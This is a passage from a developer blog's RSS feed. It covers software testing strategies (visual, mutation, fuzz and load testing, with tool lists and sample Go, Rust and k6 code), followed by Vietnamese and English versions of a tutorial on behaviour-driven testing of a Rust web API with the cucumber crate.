&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Component library / Design system&lt;/li&gt;
&lt;li&gt;Trang có layout phức tạp (dashboard, bảng biểu)&lt;/li&gt;
&lt;li&gt;Theme / Dark mode support&lt;/li&gt;
&lt;li&gt;Cross-browser testing&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Playwright — &lt;code&gt;toHaveScreenshot()&lt;/code&gt; built-in, mạnh, miễn phí&lt;/li&gt;
&lt;li&gt;Chromatic — Cho Storybook, cloud-hosted, review UI trên PR&lt;/li&gt;
&lt;li&gt;Percy — BrowserStack, tích hợp CI, quản lý snapshot&lt;/li&gt;
&lt;li&gt;Loki — Docker-based, so sánh Chrome vs Chrome&lt;/li&gt;
&lt;li&gt;BackstopJS — Config bằng JSON, hỗ trợ đa trình duyệt&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Snapshot UI dễ hỏng (font, OS, GPU rendering khác nhau). Dùng Docker hoặc CI runner cố định để giảm false positive.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;4. Mutation Testing — Test Cho Test Của Bạn&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;95% coverage — nhưng bạn có chắc test suite của mình thực sự phát hiện lỗi? Hay chỉ chạy qua cho có?&lt;/p&gt;
&lt;h3&gt;Giải pháp: Đột biến code, xem test có fail không&lt;/h3&gt;
&lt;p&gt;Mutation testing tự động thay đổi (đột biến) code của bạn — và xem test suite có bắt được không.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Code gốc
function isEven(n: number): boolean {
  return n % 2 === 0
}

// Mutation 1: Đổi === thành !==
function isEven(n: number): boolean {
  return n % 2 !== 0  // ← test có fail không?
}

// Mutation 2: Đổi % 2 thành % 3
// Mutation 3: return true thay vì tính toán
// ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; mutants: 42
 killed:  38  (90.5%)  ✓ Test phát hiện đột biến
 survived: 4  (9.5%)   ✗ Test không phát hiện
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nếu test của bạn không bắt được mutation nào — test đó đang chạy cho có, không kiểm tra gì cả.&lt;/p&gt;
&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Khi viết critical business logic&lt;/li&gt;
&lt;li&gt;Khi refactor và muốn đảm bảo test coverage có chất lượng&lt;/li&gt;
&lt;li&gt;Audit test suite định kỳ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Stryker (JS/TS) — Hỗ trợ Vitest, Jest, Mocha. Có HTML report chi tiết&lt;/li&gt;
&lt;li&gt;PIT (Java) — Chuẩn mực cho mutation testing trong JVM&lt;/li&gt;
&lt;li&gt;Mutmut (Python) — Đơn giản, dễ dùng&lt;/li&gt;
&lt;li&gt;cargo-mutants (Rust) — Mutation testing cho Rust&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Stryker với Vitest
npx stryker run

# Output:
# ---------|---------|---------|---------|
# File | % score | # killed| # survived |
# ---------|---------|---------|---------|
# user.ts | 92.31 | 12 | 1 |
# payment | 85.71 | 6 | 1 |
# order | 100.00 | 8 | 0 |
# ---------|---------|---------|---------|
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Mutation testing chạy chậm (mỗi mutation = 1 lần chạy test). Chỉ chạy trên module critical, không chạy toàn bộ project mỗi commit. Chạy nightly hoặc pre-release.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;5. Fuzz Testing — Tìm Lỗi Bảo Mật &amp;#x26; Crash&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;Bạn test với input &quot;hợp lý&quot;. Hacker gửi input kỳ dị — overflow, injection, crash — bạn không test.&lt;/p&gt;
&lt;h3&gt;Giải pháp: Bắn dữ liệu ngẫu nhiên vào ứng dụng&lt;/h3&gt;
&lt;p&gt;Fuzz testing (fuzzing) tự động sinh input ngẫu nhiên, sai lệch, hoặc có cấu trúc để tìm crash, memory leak, và lỗi bảo mật.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Go fuzz testing
func FuzzParsePhoneNumber(f *testing.F) {
    // Seed corpus: một vài input mẫu
    f.Add(&quot;+84123456789&quot;)
    f.Add(&quot;0123 456 789&quot;)
    f.Add(&quot;(+84) 123-456-789&quot;)

    f.Fuzz(func(t *testing.T, input string) {
        result, err := ParsePhoneNumber(input)
        if err != nil {
            return // lỗi hợp lệ
        }
        // Nếu parse thành công, result phải hợp lệ
        if len(result) &amp;#x3C; 10 {
            t.Errorf(&quot;phone too short: %s → %s&quot;, input, result)
        }
    })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;go test -fuzz=FuzzParsePhoneNumber -fuzztime=30s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=== FUZZ  FuzzParsePhoneNumber
    crash detected: panic in ParsePhoneNumber
    input: &quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust:&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;// Cargo-fuzz hoặc libfuzzer
use arbitrary::Arbitrary;

#[derive(Arbitrary, Debug)]
struct FuzzInput {
    data: Vec&amp;#x3C;u8&gt;,
    config: u8,
}

fn fuzz_parse(input: FuzzInput) {
    // Fuzzer sẽ thử mọi biến thể của FuzzInput
    let _ = parse_data(&amp;#x26;input.data, input.config);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Parser (JSON, XML, CSV, URL, phone, email)&lt;/li&gt;
&lt;li&gt;Network protocol handler&lt;/li&gt;
&lt;li&gt;File format processor&lt;/li&gt;
&lt;li&gt;Authentication / Authorization&lt;/li&gt;
&lt;li&gt;Input validation layer&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;go-fuzz / native Go fuzzing — Built-in từ Go 1.18&lt;/li&gt;
&lt;li&gt;cargo-fuzz / libfuzzer (Rust) — LLVM-based, cực nhanh&lt;/li&gt;
&lt;li&gt;Jazzer (Java) — Fuzzing cho JVM, dùng libfuzzer&lt;/li&gt;
&lt;li&gt;AFL — General-purpose fuzzer, dùng được với nhiều ngôn ngữ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. Load Testing — Biết Giới Hạn Của Hệ Thống&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;App chạy tốt ở dev và staging. Lên production, 1000 user cùng request → chết, timeout, OOM.&lt;/p&gt;
&lt;h3&gt;Giải pháp: Mô phỏng tải thực tế&lt;/h3&gt;
&lt;p&gt;Load testing gửi request với số lượng user, request rate, và pattern giống production — để tìm bottleneck trước khi user thật bị ảnh hưởng.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// k6 script
import http from &apos;k6/http&apos;
import { check, sleep } from &apos;k6&apos;

export const options = {
  stages: [
    { duration: &apos;2m&apos;,  target: 100 },   // ramp up
    { duration: &apos;5m&apos;,  target: 100 },   // sustain
    { duration: &apos;2m&apos;,  target: 200 },   // spike
    { duration: &apos;3m&apos;,  target: 0 },     // ramp down
  ],
  thresholds: {
    http_req_duration: [&apos;p(95)&amp;#x3C;500&apos;],   // 95% request &amp;#x3C; 500ms
    http_req_failed:   [&apos;rate&amp;#x3C;0.01&apos;],   // &amp;#x3C; 1% lỗi
  },
}

export default function () {
  const res = http.get(&apos;https://api.example.com/users&apos;)
  check(res, {
    &apos;status is 200&apos;: (r) =&gt; r.status === 200,
    &apos;response time &amp;#x3C; 300ms&apos;: (r) =&gt; r.timings.duration &amp;#x3C; 300,
  })
  sleep(1)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;k6 run load-test.js
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Smoke → Stress → Spike → Soak&lt;/h3&gt;
&lt;p&gt;| Loại | Mục đích | Tải |
|---|---|---|
| Smoke Test | Hệ thống có chạy? | 1-5 user |
| Load Test | Hệ thống chịu được tải bình thường? | ~expected peak |
| Stress Test | Giới hạn ở đâu? | expected → 2x → 5x |
| Spike Test | Chịu surge đột ngột? | 0 → 10x instant |
| Soak Test | Chạy ổn định 24h? | ~expected trong 8-24h |&lt;/p&gt;
&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;API endpoint quan trọng (login, payment, search)&lt;/li&gt;
&lt;li&gt;Before production release&lt;/li&gt;
&lt;li&gt;Sau khi thay đổi kiến trúc (DB, cache, queue)&lt;/li&gt;
&lt;li&gt;Hàng tháng / hàng quý&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;k6 (Grafana) — Script bằng JS, metric built-in, tích hợp CI mạnh&lt;/li&gt;
&lt;li&gt;autocannon (Node.js) — Nhẹ, CLI đơn giản, HTTP benchmark&lt;/li&gt;
&lt;li&gt;wrk / wrk2 — Benchmark HTTP, C-based, cực nhanh&lt;/li&gt;
&lt;li&gt;Locust (Python) — Viết test bằng Python, UI real-time&lt;/li&gt;
&lt;li&gt;Gatling (Scala) — Mạnh mẽ, có HTML report, JVM ecosystem&lt;/li&gt;
&lt;li&gt;Vegeta (Go) — CLI đơn giản, HTTP load testing&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết: Khi Nào Dùng Strategy Nào?&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;┌────────────────────────────────────────────────────────┐
│                   TESTING STRATEGY MAP                  │
├────────────────────────────────────────────────────────┤
│                                                        │
│  Contract  ←─── API change nhiều, nhiều consumer       │
│                                                        │
│  Property  ←─── Logic phức tạp, nhiều edge case        │
│                                                        │
│  Visual    ←─── UI/component library, cross-browser     │
│                                                        │
│  Mutation  ←─── Audit chất lượng test suite            │
│                                                        │
│  Fuzz      ←─── Security-critical, parser, validator    │
│                                                        │
│  Load      ←─── API endpoint, pre-release              │
│                                                        │
└────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không project nào cần tất cả. Hãy chọn dựa vào:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Loại ứng dụng — API-heavy → Contract + Load. UI-heavy → Visual&lt;/li&gt;
&lt;li&gt;Giai đoạn — Mới bắt đầu → Unit + Integration. Đã ổn định → Property + Fuzz&lt;/li&gt;
&lt;li&gt;Rủi ro — Xử lý tiền → Fuzz. Design system → Visual. Public API → Contract&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Testing không phải là checkbox. Mỗi strategy là một công cụ — hiểu vấn đề rồi mới chọn công cụ phù hợp.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Cheatsheet: 6 Strategies Trong 1 Bảng&lt;/h2&gt;
&lt;p&gt;| Strategy | Phát hiện | Chi phí | Tốc độ | Công cụ chính |
|---|---|---|---|---|
| Contract | API boundary break | Thấp | Nhanh | Pact |
| Property | Edge case logic | Trung bình | Trung bình | fast-check |
| Visual | UI regression | Trung bình | Trung bình | Playwright |
| Mutation | Test quality | Cao | Chậm | Stryker |
| Fuzz | Crash, security | Thấp | Chậm | go-fuzz |
| Load | Performance bottleneck | Cao | Nhanh | k6 |&lt;/p&gt;
&lt;p&gt;Unit test là chân kiềng đầu tiên. Nhưng để ứng dụng thực sự vững chắc — trước những thay đổi API, UI vô tình bị vỡ, edge case không ai nghĩ tới, hay traffic spike bất ngờ — bạn cần nhiều hơn thế.&lt;/p&gt;
&lt;p&gt;Hãy chọn 1-2 strategies phù hợp với vấn đề bạn đang gặp nhất, tích hợp vào CI, và nâng dần khi ứng dụng phát triển.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pact.io&quot;&gt;Pact Documentation — Contract Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fast-check.dev&quot;&gt;fast-check Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://playwright.dev/docs/test-snapshots&quot;&gt;Playwright Visual Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stryker-mutator.io&quot;&gt;Stryker Mutator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://k6.io/docs&quot;&gt;k6 Documentation — Load Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/doc/fuzz/&quot;&gt;Go Fuzzing Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>BDD trong Rust: Xây Web App Vững Chắc với Cucumber</title><link>https://dopana-blog.pages.dev/blog/bdd-trong-rust-xay-dung-web-app-voi-cucumber</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/bdd-trong-rust-xay-dung-web-app-voi-cucumber</guid><description>Kết hợp Rust + Cucumber BDD để xây web app vừa an toàn bộ nhớ vừa đúng nghiệp vụ. Hướng dẫn từng bước với Gherkin, Axum, và test bất đồng bộ.</description><pubDate>Tue, 28 Jul 2026 16:28:57 GMT</pubDate><content:encoded>&lt;p&gt;Khi nhắc đến Rust trong phát triển web, những từ như blazing fast, memory safety, và zero-cost abstractions thường xuất hiện. Trình biên dịch khắt khe của Rust đảm bảo web service của bạn không bị data race hay null pointer exception. Nhưng làm thế nào để chắc chắn rằng ứng dụng web thực sự đáp ứng yêu cầu nghiệp vụ?&lt;/p&gt;
&lt;p&gt;Câu trả lời là Behavior-Driven Development (BDD) và framework Cucumber cho Rust (crate &lt;code&gt;cucumber&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Bằng cách kết hợp hiệu năng backend mạnh mẽ của Rust với spec dễ đọc của Cucumber, đội ngũ có thể xây dựng web app vừa vững chắc về cấu trúc vừa chính xác về chức năng.&lt;/p&gt;
&lt;h2&gt;Cucumber trong Rust là gì?&lt;/h2&gt;
&lt;p&gt;Cucumber là framework BDD phổ biến cho phép bạn viết kịch bản test bằng ngôn ngữ tự nhiên, dễ hiểu với cú pháp Gherkin (&lt;code&gt;Given-When-Then&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Trong hệ sinh thái Rust, crate &lt;code&gt;cucumber&lt;/code&gt; hoạt động như một test harness runner. Nó phân tích file &lt;code&gt;.feature&lt;/code&gt; và ánh xạ trực tiếp đến các hàm Rust bất đồng bộ (step definitions). Bạn có được cả hai:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spec hướng business, có thể thực thi được.&lt;/li&gt;
&lt;li&gt;Sự an toàn, tốc độ, và đồng thời của code Rust thuần.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tại sao dùng Rust và Cucumber cho Web?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Living Documentation: File feature là tài liệu sống mà product owner, QA, và developer đều đọc và hiểu được.&lt;/li&gt;
&lt;li&gt;Tin cậy cả Compile lẫn Runtime: Rust bắt lỗi bộ nhớ và kiểu dữ liệu tại compile time, Cucumber đảm bảo logic ứng dụng khớp với luồng công việc thực tế.&lt;/li&gt;
&lt;li&gt;Async Native: Các web framework Rust hiện đại (Axum, Actix-web, Warp) đều bất đồng bộ. Cucumber cho Rust hỗ trợ &lt;code&gt;async/await&lt;/code&gt; tự nhiên, giúp test HTTP endpoint và database gọi dễ dàng.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Hướng dẫn từng bước: Cài đặt Cucumber trong dự án Rust Web&lt;/h2&gt;
&lt;p&gt;Hãy cùng thiết lập cơ bản để test một API route web với Rust và Cucumber.&lt;/p&gt;
&lt;h3&gt;1. Cấu hình Cargo.toml&lt;/h3&gt;
&lt;p&gt;Đầu tiên, thêm dependencies. Bạn cần &lt;code&gt;cucumber&lt;/code&gt;, async runtime như &lt;code&gt;tokio&lt;/code&gt;, và một cách để gửi HTTP request đến web server (như &lt;code&gt;reqwest&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[package]
name = &quot;rust_web_bdd&quot;
version = &quot;0.1.0&quot;
edition = &quot;2021&quot;

[[test]]
name = &quot;cucumber&quot;
harness = false

[dependencies]
axum = &quot;0.7&quot;
tokio = { version = &quot;1.0&quot;, features = [&quot;full&quot;] }
serde = { version = &quot;1.0&quot;, features = [&quot;derive&quot;] }

[dev-dependencies]
cucumber = &quot;0.20&quot;
reqwest = { version = &quot;0.11&quot;, features = [&quot;json&quot;] }

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Viết File Feature Gherkin&lt;/h3&gt;
&lt;p&gt;Tạo thư mục &lt;code&gt;tests/features/&lt;/code&gt; và thêm file &lt;code&gt;user_api.feature&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-gherkin&quot;&gt;Feature: User Management API
  As a client of the web service
  I want to register a new user
  So that I can access protected resources

  Scenario: Successfully registering a new user
    Given the web server is running
    When I send a POST request to &quot;/users&quot; with username &quot;alice&quot;
    Then the response status should be 201
    And the response body should contain &quot;User alice created successfully&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Triển khai World và Step Definitions&lt;/h3&gt;
&lt;p&gt;&quot;World&quot; trong Cucumber đại diện cho trạng thái chia sẻ giữa các scenario. Tạo &lt;code&gt;tests/cucumber.rs&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use cucumber::{given, when, then, World};
use reqwest::Client;

#[derive(Debug, World)]
#[world(init)]
pub struct ApiWorld {
    client: Client,
    server_url: String,
    status_code: Option&amp;#x3C;u16&gt;,
    response_body: Option&amp;#x3C;String&gt;,
}

#[given(&quot;the web server is running&quot;)]
async fn server_is_running(world: &amp;#x26;mut ApiWorld) {
    world.client = Client::new();
    world.server_url = &quot;http://127.0.0.1:8080&quot;.to_string();
}

#[when(expr = &quot;I send a POST request to {string} with username {string}&quot;)]
async fn send_post_request(world: &amp;#x26;mut ApiWorld, path: String, username: String) {
    let url = format!(&quot;{}{}&quot;, world.server_url, path);
    let res = world.client
        .post(&amp;#x26;url)
        .json(&amp;#x26;serde_json::json!({ &quot;username&quot;: username }))
        .send()
        .await
        .expect(&quot;Failed to execute request&quot;);

    world.status_code = Some(res.status().as_u16());
    world.response_body = Some(res.text().await.unwrap_or_default());
}

#[then(expr = &quot;the response status should be {int}&quot;)]
async fn verify_status_code(world: &amp;#x26;mut ApiWorld, expected_status: u16) {
    assert_eq!(world.status_code, Some(expected_status));
}

#[then(expr = &quot;the response body should contain {string}&quot;)]
async fn verify_response_body(world: &amp;#x26;mut ApiWorld, expected_text: String) {
    let body = world.response_body.as_ref().expect(&quot;No response body&quot;);
    assert!(body.contains(&amp;#x26;expected_text));
}

#[tokio::main]
async fn main() {
    ApiWorld::cucumber()
        .run(&quot;tests/features/user_api.feature&quot;)
        .await;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Chạy BDD Tests&lt;/h3&gt;
&lt;p&gt;Chạy test suite với Cargo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cargo test --test cucumber

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cucumber sẽ phân tích kịch bản Gherkin, giao tiếp với ứng dụng Rust và hiển thị kết quả xanh!&lt;/p&gt;
&lt;h2&gt;Best Practices cho Rust BDD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cô lập State: Đảm bảo &lt;code&gt;World&lt;/code&gt; struct reset sạch giữa các scenario. Nếu dùng database, spin up container tạm (qua Testcontainers-rs) hoặc dùng transaction rollback cho mỗi scenario.&lt;/li&gt;
&lt;li&gt;Step Tái sử dụng: Thiết kế Gherkin steps với tham số (dùng &lt;code&gt;{string}&lt;/code&gt; hoặc &lt;code&gt;{int}&lt;/code&gt;) để dùng chung cho nhiều endpoint thay vì viết step mới cho từng route.&lt;/li&gt;
&lt;li&gt;Xử lý async gọn gàng: Tận dụng Tokio multi-threaded runtime bên trong step definitions để xử lý concurrent web request dễ dàng.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;Xây dựng web app với Rust cho bạn hiệu năng và độ tin cậy vượt trội. Tích hợp Cucumber framework giúp kết nối khoảng cách giữa thực thi kỹ thuật và yêu cầu nghiệp vụ, đảm bảo web service của bạn không chỉ nhanh và an toàn — mà còn làm đúng việc cần làm.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/book/&quot;&gt;The Rust Programming Language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.rs/cucumber/latest/cucumber/&quot;&gt;Cucumber Rust Crate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.rs/axum/latest/axum/&quot;&gt;Axum Web Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cucumber.io/docs/gherkin/reference/&quot;&gt;Cucumber — Gherkin Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/cargo/commands/cargo-test.html&quot;&gt;Cargo Test Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>BDD in Rust: Building Web Apps with Cucumber</title><link>https://dopana-blog.pages.dev/blog/bdd-in-rust-building-web-apps-with-cucumber</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/bdd-in-rust-building-web-apps-with-cucumber</guid><description>Use Rust + Cucumber BDD to build web apps that are both memory-safe and business-correct. Step-by-step guide with Gherkin, Axum, and async tests.</description><pubDate>Tue, 28 Jul 2026 16:28:56 GMT</pubDate><content:encoded>&lt;p&gt;When we think of Rust in web development, words like blazing fast, memory safety, and zero-cost abstractions usually come to mind. Rust&apos;s strict compiler guarantees that our web services won&apos;t suffer from data races or unexpected null pointer exceptions. But how do we ensure that our web application actually fulfills business requirements?&lt;/p&gt;
&lt;p&gt;Enter Behavior-Driven Development (BDD) and the Cucumber framework for Rust (&lt;code&gt;cucumber&lt;/code&gt; crate).&lt;/p&gt;
&lt;p&gt;By combining Rust&apos;s powerhouse backend performance with Cucumber&apos;s human-readable specifications, teams can build web applications that are both structurally bulletproof and functionally precise.&lt;/p&gt;
&lt;h2&gt;What is Cucumber in Rust?&lt;/h2&gt;
&lt;p&gt;Cucumber is a popular BDD testing framework that allows you to write test scenarios in plain, human-readable language using Gherkin syntax (&lt;code&gt;Given-When-Then&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In a Rust ecosystem, the &lt;code&gt;cucumber&lt;/code&gt; crate acts as a test harness runner. It parses your &lt;code&gt;.feature&lt;/code&gt; files and maps them directly to native Rust asynchronous functions (step definitions). This gives you the best of both worlds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Business-facing, executable specifications.&lt;/li&gt;
&lt;li&gt;The safety, speed, and concurrency of native Rust code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Use Rust and Cucumber for Web Development?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Living Documentation: Feature files serve as up-to-date documentation that product owners, QA, and developers can all read and understand.&lt;/li&gt;
&lt;li&gt;Compile-Time and Runtime Confidence: Rust catches memory and typing bugs at compile time, while Cucumber ensures your application logic matches real-world user workflows.&lt;/li&gt;
&lt;li&gt;Async Native: Modern Rust web frameworks (like Axum, Actix-web, or Warp) are heavily asynchronous. The Rust Cucumber implementation natively supports &lt;code&gt;async/await&lt;/code&gt;, making it seamless to test HTTP endpoints and database calls.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Step-by-Step: Setting Up Cucumber in a Rust Web Project&lt;/h2&gt;
&lt;p&gt;Let&apos;s walk through a basic setup for testing a web API route using Rust and Cucumber.&lt;/p&gt;
&lt;h3&gt;1. Configure Cargo.toml&lt;/h3&gt;
&lt;p&gt;First, add your dependencies. You will need &lt;code&gt;cucumber&lt;/code&gt;, an async runtime like &lt;code&gt;tokio&lt;/code&gt;, and a way to make HTTP requests against your web server (like &lt;code&gt;reqwest&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[package]
name = &quot;rust_web_bdd&quot;
version = &quot;0.1.0&quot;
edition = &quot;2021&quot;

[[test]]
name = &quot;cucumber&quot;
harness = false

[dependencies]
axum = &quot;0.7&quot;
tokio = { version = &quot;1.0&quot;, features = [&quot;full&quot;] }
serde = { version = &quot;1.0&quot;, features = [&quot;derive&quot;] }

[dev-dependencies]
cucumber = &quot;0.20&quot;
reqwest = { version = &quot;0.11&quot;, features = [&quot;json&quot;] }

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Write Your Gherkin Feature File&lt;/h3&gt;
&lt;p&gt;Create a directory named &lt;code&gt;tests/features/&lt;/code&gt; and add a file called &lt;code&gt;user_api.feature&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-gherkin&quot;&gt;Feature: User Management API
  As a client of the web service
  I want to register a new user
  So that I can access protected resources

  Scenario: Successfully registering a new user
    Given the web server is running
    When I send a POST request to &quot;/users&quot; with username &quot;alice&quot;
    Then the response status should be 201
    And the response body should contain &quot;User alice created successfully&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Implement the World and Step Definitions&lt;/h3&gt;
&lt;p&gt;The &quot;World&quot; in Cucumber represents the state shared across a single scenario. Create &lt;code&gt;tests/cucumber.rs&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use cucumber::{given, when, then, World};
use reqwest::Client;

#[derive(Debug, World)]
#[world(init)]
pub struct ApiWorld {
    client: Client,
    server_url: String,
    status_code: Option&amp;#x3C;u16&gt;,
    response_body: Option&amp;#x3C;String&gt;,
}

#[given(&quot;the web server is running&quot;)]
async fn server_is_running(world: &amp;#x26;mut ApiWorld) {
    world.client = Client::new();
    world.server_url = &quot;http://127.0.0.1:8080&quot;.to_string();
}

#[when(expr = &quot;I send a POST request to {string} with username {string}&quot;)]
async fn send_post_request(world: &amp;#x26;mut ApiWorld, path: String, username: String) {
    let url = format!(&quot;{}{}&quot;, world.server_url, path);
    let res = world.client
        .post(&amp;#x26;url)
        .json(&amp;#x26;serde_json::json!({ &quot;username&quot;: username }))
        .send()
        .await
        .expect(&quot;Failed to execute request&quot;);

    world.status_code = Some(res.status().as_u16());
    world.response_body = Some(res.text().await.unwrap_or_default());
}

#[then(expr = &quot;the response status should be {int}&quot;)]
async fn verify_status_code(world: &amp;#x26;mut ApiWorld, expected_status: u16) {
    assert_eq!(world.status_code, Some(expected_status));
}

#[then(expr = &quot;the response body should contain {string}&quot;)]
async fn verify_response_body(world: &amp;#x26;mut ApiWorld, expected_text: String) {
    let body = world.response_body.as_ref().expect(&quot;No response body&quot;);
    assert!(body.contains(&amp;#x26;expected_text));
}

#[tokio::main]
async fn main() {
    ApiWorld::cucumber()
        .run(&quot;tests/features/user_api.feature&quot;)
        .await;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Run Your BDD Tests&lt;/h3&gt;
&lt;p&gt;Execute your test suite using Cargo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cargo test --test cucumber

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Watch as Cucumber parses your human-readable Gherkin script, spins up or communicates with your Rust application blocks, and outputs green results!&lt;/p&gt;
&lt;h2&gt;Best Practices for Rust BDD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Isolate State: Ensure your &lt;code&gt;World&lt;/code&gt; struct resets cleanly between scenarios. If you use a database, spin up an ephemeral container (like via Testcontainers-rs) or use transaction rollbacks for each test scenario.&lt;/li&gt;
&lt;li&gt;Keep Steps Reusable: Design your Gherkin steps with parameters (using &lt;code&gt;{string}&lt;/code&gt; or &lt;code&gt;{int}&lt;/code&gt;) so they can scale across multiple endpoints rather than writing a new step for every single route.&lt;/li&gt;
&lt;li&gt;Handle Async Cleanly: Leverage Tokio&apos;s multi-threaded runtime features inside your step definitions to handle concurrent web requests effortlessly.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Building web applications in Rust gives you unmatched performance and reliability. By integrating the Cucumber framework, you bridge the gap between technical execution and business requirements, ensuring your web services aren&apos;t just fast and safe — they are built to do the right thing.&lt;/p&gt;
